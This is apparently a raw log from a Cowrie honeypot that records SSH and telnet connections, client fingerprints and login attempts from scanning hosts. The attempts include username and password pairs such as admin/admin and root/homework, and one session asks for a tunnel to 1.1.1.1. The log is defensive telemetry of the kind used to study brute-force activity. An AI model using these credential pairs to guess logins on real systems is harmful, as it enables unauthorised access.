{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:53.187856Z","src_ip":"91.92.40.4","session":"7a7d7d03dc43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"654321","message":"login attempt [hadoop/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:53.437571Z","src_ip":"91.92.40.4","session":"7a7d7d03dc43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:54.523692Z","src_ip":"91.92.40.4","session":"7a7d7d03dc43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00387191772461,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:57.759069Z","src_ip":"143.198.154.150","session":"f03eda811240","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.931724548339844,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:12:08.226683Z","src_ip":"170.64.224.25","session":"3d2f43e8d5ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":51032,"dst_ip":"159.203.135.109","dst_port":22,"session":"863c7a53bdeb","protocol":"ssh","message":"New connection: 176.53.159.196:51032 (159.203.135.109:22) [session: 863c7a53bdeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:12:08.969859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:12:08.975552Z","src_ip":"176.53.159.196","session":"863c7a53bdeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:12:09.072555Z","src_ip":"176.53.159.196","session":"863c7a53bdeb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:12:09.366311Z","src_ip":"176.53.159.196","session":"863c7a53bdeb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:12:09.466287Z","session":"863c7a53bdeb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:12:09.565193Z","src_ip":"176.53.159.196","session":"863c7a53bdeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:12:09.665843Z","src_ip":"176.53.159.196","session":"863c7a53bdeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44362,"dst_ip":"159.203.135.109","dst_port":23,"session":"22fcbda39768","protocol":"telnet","message":"New connection: 170.64.224.25:44362 (159.203.135.109:23) [session: 22fcbda39768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:12:32.921170Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44374,"dst_ip":"159.203.135.109","dst_port":23,"session":"627d8e4838b3","protocol":"telnet","message":"New connection: 170.64.224.25:44374 (159.203.135.109:23) [session: 627d8e4838b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:12:32.956918Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41184,"dst_ip":"159.203.135.109","dst_port":23,"session":"2663aa05b480","protocol":"telnet","message":"New connection: 170.64.224.25:41184 (159.203.135.109:23) [session: 2663aa05b480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:12:42.383444Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55338,"dst_ip":"159.203.135.109","dst_port":23,"session":"804564c6a96f","protocol":"telnet","message":"New connection: 170.64.224.25:55338 (159.203.135.109:23) [session: 804564c6a96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:12:58.096067Z"}
{"eventid":"cowrie.session.closed","duration":35.54001545906067,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:08.461066Z","src_ip":"170.64.224.25","session":"22fcbda39768","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58536,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b3eb48ea0cf","protocol":"ssh","message":"New connection: 193.37.70.224:58536 (10.17.0.5:22) [session: 7b3eb48ea0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:12.477866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:12.481009Z","src_ip":"193.37.70.224","session":"7b3eb48ea0cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:12.574700Z","src_ip":"193.37.70.224","session":"7b3eb48ea0cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:12.857142Z","src_ip":"193.37.70.224","session":"7b3eb48ea0cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:13.953758Z","src_ip":"193.37.70.224","session":"7b3eb48ea0cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":54096,"dst_ip":"10.17.0.5","dst_port":22,"session":"df83186efc90","protocol":"ssh","message":"New connection: 194.59.206.2:54096 (10.17.0.5:22) [session: df83186efc90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:20.625414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:20.629424Z","src_ip":"194.59.206.2","session":"df83186efc90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:20.719035Z","src_ip":"194.59.206.2","session":"df83186efc90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:20.813215Z","src_ip":"194.59.206.2","session":"df83186efc90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":55166,"dst_ip":"159.203.135.109","dst_port":22,"session":"05797f84aef9","protocol":"ssh","message":"New connection: 146.190.154.85:55166 (159.203.135.109:22) [session: 05797f84aef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:23.435752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:23.439356Z","src_ip":"146.190.154.85","session":"05797f84aef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:23.505795Z","src_ip":"146.190.154.85","session":"05797f84aef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"123456","message":"login attempt [sniper/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:23.797595Z","src_ip":"146.190.154.85","session":"05797f84aef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.25349187850952,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:24.210310Z","src_ip":"170.64.224.25","session":"627d8e4838b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:24.863222Z","src_ip":"146.190.154.85","session":"05797f84aef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.66364288330078,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:36.046953Z","src_ip":"170.64.224.25","session":"2663aa05b480","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":48644,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e02f4b95794","protocol":"ssh","message":"New connection: 159.65.58.200:48644 (159.203.135.109:22) [session: 0e02f4b95794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:40.792965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:41.203582Z","src_ip":"159.65.58.200","session":"0e02f4b95794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:41.206980Z","src_ip":"159.65.58.200","session":"0e02f4b95794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43446,"dst_ip":"159.203.135.109","dst_port":23,"session":"96aff7e50453","protocol":"telnet","message":"New connection: 170.64.224.25:43446 (159.203.135.109:23) [session: 96aff7e50453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:41.254201Z"}
{"eventid":"cowrie.login.failed","username":"shbg","password":"123456","message":"login attempt [shbg/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:42.424867Z","src_ip":"159.65.58.200","session":"0e02f4b95794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:43.633430Z","src_ip":"159.65.58.200","session":"0e02f4b95794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43460,"dst_ip":"159.203.135.109","dst_port":23,"session":"21018cd875bd","protocol":"telnet","message":"New connection: 170.64.224.25:43460 (159.203.135.109:23) [session: 21018cd875bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:44.007442Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":53088,"dst_ip":"10.17.0.5","dst_port":22,"session":"0de9c729630c","protocol":"ssh","message":"New connection: 103.77.175.15:53088 (10.17.0.5:22) [session: 0de9c729630c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:48.254736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:48.258538Z","src_ip":"103.77.175.15","session":"0de9c729630c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:48.498242Z","src_ip":"103.77.175.15","session":"0de9c729630c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"homework","message":"login attempt [root/homework] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:49.219873Z","src_ip":"103.77.175.15","session":"0de9c729630c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:50.462848Z","src_ip":"103.77.175.15","session":"0de9c729630c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":62160,"dst_ip":"159.203.135.109","dst_port":22,"session":"d13caeabb6e5","protocol":"ssh","message":"New connection: 182.93.7.194:62160 (159.203.135.109:22) [session: d13caeabb6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:54.620016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:54.629604Z","src_ip":"182.93.7.194","session":"d13caeabb6e5","protocol":"ssh"}
